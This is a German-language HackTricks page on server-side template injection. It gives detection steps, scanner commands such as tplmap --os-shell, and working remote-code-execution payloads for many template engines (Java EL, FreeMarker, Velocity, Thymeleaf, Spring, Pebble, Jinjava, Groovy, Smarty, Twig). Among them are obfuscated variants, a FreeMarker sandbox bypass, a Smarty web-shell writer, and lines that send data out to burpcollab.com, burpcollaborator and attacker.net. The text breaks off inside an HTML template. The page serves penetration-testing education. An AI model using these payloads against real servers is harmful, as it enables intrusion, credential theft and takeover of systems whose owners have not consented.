SSTI (Server Side Template Injection)

Unterstütze HackTricks

RootedCON ist die relevanteste Cybersecurity-Veranstaltung in Spanien und eine der wichtigsten in Europa. Mit der Mission, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersecurity-Profis in jeder Disziplin.

Was ist SSTI (Server-Side Template Injection)

Server-Side Template Injection ist eine Schwachstelle, die auftritt, wenn ein Angreifer schädlichen Code in eine Vorlage injizieren kann, die auf dem Server ausgeführt wird. Diese Schwachstelle kann in verschiedenen Technologien gefunden werden, einschließlich Jinja.

Jinja ist eine beliebte Template-Engine, die in Webanwendungen verwendet wird. Lassen Sie uns ein Beispiel betrachten, das einen anfälligen Code-Schnipsel mit Jinja demonstriert:

output = template.render(name=request.args.get('name'))

In diesem anfälligen Code wird der name-Parameter aus der Benutzeranfrage direkt mit der render-Funktion in die Vorlage eingefügt. Dies kann einem Angreifer potenziell ermöglichen, schädlichen Code in den name-Parameter einzufügen, was zu einer serverseitigen Template-Injection führt.

Zum Beispiel könnte ein Angreifer eine Anfrage mit einem Payload wie diesem erstellen:

http://vulnerable-website.com/?name={{bad-stuff-here}}

Der Payload {{bad-stuff-here}} wird in den Parameter name injiziert. Dieser Payload kann Jinja-Template-Direktiven enthalten, die es dem Angreifer ermöglichen, unbefugten Code auszuführen oder die Template-Engine zu manipulieren, wodurch potenziell die Kontrolle über den Server erlangt wird.

Um Server-seitige Template-Injection-Schwachstellen zu verhindern, sollten Entwickler sicherstellen, dass Benutzereingaben ordnungsgemäß bereinigt und validiert werden, bevor sie in Templates eingefügt werden. Die Implementierung von Eingabevalidierung und die Verwendung kontextsensitiver Escape-Techniken können helfen, das Risiko dieser Schwachstelle zu mindern.

Detection

Um Server-Side Template Injection (SSTI) zu erkennen, ist zunächst Fuzzing des Templates ein einfacher Ansatz. Dies beinhaltet das Injizieren einer Sequenz von Sonderzeichen (${{<%[%'"}}%\) in das Template und das Analysieren der Unterschiede in der Serverantwort auf reguläre Daten im Vergleich zu diesem speziellen Payload. Anzeichen für Schwachstellen sind:

  • Ausgeworfene Fehler, die die Schwachstelle und potenziell die Template-Engine offenbaren.

  • Abwesenheit des Payloads in der Reflexion oder Teile davon fehlen, was darauf hindeutet, dass der Server es anders verarbeitet als reguläre Daten.

  • Plaintext-Kontext: Unterscheidung von XSS, indem überprüft wird, ob der Server Template-Ausdrücke auswertet (z. B. {{7*7}}, ${7*7}).

  • Code-Kontext: Bestätigung der Schwachstelle durch Ändern der Eingabeparameter. Zum Beispiel das Ändern von greeting in http://vulnerable-website.com/?greeting=data.username, um zu sehen, ob die Serverausgabe dynamisch oder fest ist, wie in greeting=data.username}}hello, das den Benutzernamen zurückgibt.

Identification Phase

Die Identifizierung der Template-Engine erfolgt durch die Analyse von Fehlermeldungen oder manuelles Testen verschiedener sprachspezifischer Payloads. Häufige Payloads, die Fehler verursachen, sind ${7/0}, {{7/0}} und <%= 7/0 %>. Die Beobachtung der Serverantwort auf mathematische Operationen hilft, die spezifische Template-Engine zu bestimmen.

Tools

ein effizienter SSTI + CSTI-Scanner, der neuartige Polyglots nutzt.

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

eine interaktive Tabelle, die die effizientesten Template-Injection-Polyglots sowie die erwarteten Antworten der 44 wichtigsten Template-Engines enthält.

Exploits

Generic

In dieser Wortliste finden Sie definierte Variablen in den Umgebungen einiger der unten genannten Engines:

Java

Java - Grundlegende Injection

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

Java - Abrufen der Umgebungsvariablen des Systems

${T(java.lang.System).getenv()}

Java - Abrufen von /etc/passwd

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

Sie können Ihre Payloads unter https://try.freemarker.apache.org ausprobieren.

  • {{7*7}} = {{7*7}}

  • ${7*7} = 49

  • #{7*7} = 49 -- (legacy)

  • ${7*'7'} Nichts

  • ${foobar}

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - Sandbox-Umgehung

⚠️ funktioniert nur bei Freemarker-Versionen unter 2.3.30

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

Weitere Informationen

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

Mehr Informationen

Thymeleaf

In Thymeleaf ist ein häufiger Test für SSTI-Schwachstellen der Ausdruck ${7*7}, der auch für diese Template-Engine gilt. Für potenzielle Remote-Code-Ausführung können Ausdrücke wie die folgenden verwendet werden:

  • SpringEL:

${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:

${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf erfordert, dass diese Ausdrücke innerhalb spezifischer Attribute platziert werden. Allerdings wird expression inlining für andere Template-Standorte unterstützt, unter Verwendung von Syntax wie [[...]] oder [(...)]. Daher könnte eine einfache SSTI-Testlast wie [[${7*7}]] aussehen.

Die Wahrscheinlichkeit, dass diese Last funktioniert, ist jedoch im Allgemeinen gering. Die Standardkonfiguration von Thymeleaf unterstützt keine dynamische Template-Generierung; Templates müssen vordefiniert sein. Entwickler müssten ihren eigenen TemplateResolver implementieren, um Templates aus Strings zur Laufzeit zu erstellen, was ungewöhnlich ist.

Thymeleaf bietet auch expression preprocessing, bei dem Ausdrücke innerhalb doppelter Unterstriche (__...__) vorverarbeitet werden. Diese Funktion kann beim Aufbau von Ausdrücken genutzt werden, wie in der Dokumentation von Thymeleaf demonstriert:

#{selection.__${sel.code}__}

Beispiel für eine Schwachstelle in Thymeleaf

Betrachten Sie den folgenden Codeausschnitt, der anfällig für Ausnutzung sein könnte:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

Dies deutet darauf hin, dass, wenn die Template-Engine diese Eingaben unsachgemäß verarbeitet, dies zu einer Remote-Code-Ausführung führen könnte, die auf URLs wie zugreift:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

Mehr Informationen

EL - Expression Language

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

Filter umgehen

Mehrere Variablen-Ausdrücke können verwendet werden. Wenn ${...} nicht funktioniert, versuchen Sie #{...}, *{...}, @{...} oder ~{...}.

  • Lesen Sie /etc/passwd

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • Benutzerdefiniertes Skript zur Payload-Generierung

#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

Mehr Informationen

Spring View Manipulation (Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Alte Version von Pebble ( < Version 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

Neue Version von Pebble :

{% set cmd = 'id' %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava ist ein Open-Source-Projekt, das von Hubspot entwickelt wurde und unter https://github.com/HubSpot/jinjava/ verfügbar ist.

Jinjava - Befehlsausführung

Behoben durch https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

Weitere Informationen

Hubspot - HuBL (Java)

  • {% %} Anweisungsbegrenzer

  • {{ }} Ausdrucksbegrenzer

  • {# #} Kommentarbegrenzer

  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206

  • {{'a'.toUpperCase()}} - "A"

  • {{'a'.concat('b')}} - "ab"

  • {{'a'.getClass()}} - java.lang.String

  • {{request.getClass()}} - Klasse com.hubspot.content.hubl.context.TemplateContextRequest

  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

Suchen Sie nach "com.hubspot.content.hubl.context.TemplateContextRequest" und entdeckten das Jinjava-Projekt auf Github.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

Mehr Informationen

Ausdruckssprache - EL (Java)

  • ${"aaaa"} - "aaaa"

  • ${99999+1} - 100000.

  • #{7*7} - 49

  • ${{7*7}} - 49

  • ${{request}}, ${{session}}, {{faceContext}}

Die Ausdruckssprache (EL) ist ein grundlegendes Merkmal, das die Interaktion zwischen der Präsentationsschicht (wie Webseiten) und der Anwendungslogik (wie verwaltete Beans) in JavaEE erleichtert. Sie wird umfassend in mehreren JavaEE-Technologien verwendet, um diese Kommunikation zu optimieren. Die wichtigsten JavaEE-Technologien, die EL nutzen, sind:

  • JavaServer Faces (JSF): Verwendet EL, um Komponenten in JSF-Seiten mit den entsprechenden Backend-Daten und -Aktionen zu verbinden.

  • JavaServer Pages (JSP): EL wird in JSP verwendet, um auf Daten innerhalb von JSP-Seiten zuzugreifen und diese zu manipulieren, was es einfacher macht, Seitenelemente mit den Anwendungsdaten zu verbinden.

  • Contexts and Dependency Injection for Java EE (CDI): EL integriert sich mit CDI, um eine nahtlose Interaktion zwischen der Webschicht und verwalteten Beans zu ermöglichen, was eine kohärentere Anwendungsstruktur gewährleistet.

Überprüfen Sie die folgende Seite, um mehr über die Ausnutzung von EL-Interpretern zu erfahren:

EL - Expression Language

Groovy (Java)

Die folgenden Sicherheitsmanager-Umgehungen stammen aus diesem Bericht.

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

​​RootedCON ist die relevanteste Cybersecurity-Veranstaltung in Spanien und eine der wichtigsten in Europa. Mit der Mission, technisches Wissen zu fördern, ist dieser Kongress ein brodelnder Treffpunkt für Technologie- und Cybersecurity-Profis in jeder Disziplin.

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

Mehr Informationen

Twig (PHP)

  • {{7*7}} = 49

  • ${7*7} = ${7*7}

  • {{7*'7'}} = 49

  • {{1/0}} = Error

  • {{foobar}} Nothing

#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - Template-Format

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

Mehr Informationen

Plates (PHP)

Plates ist eine Templating-Engine, die nativ in PHP ist und sich von Twig inspirieren lässt. Im Gegensatz zu Twig, das eine neue Syntax einführt, nutzt Plates nativen PHP-Code in Templates, was es für PHP-Entwickler intuitiv macht.

Controller:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

Seitenvorlage:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

Layout-Vorlage:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

Mehr Informationen

PHPlib und HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB ist dasselbe wie PHPlib, aber auf Pear portiert.

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>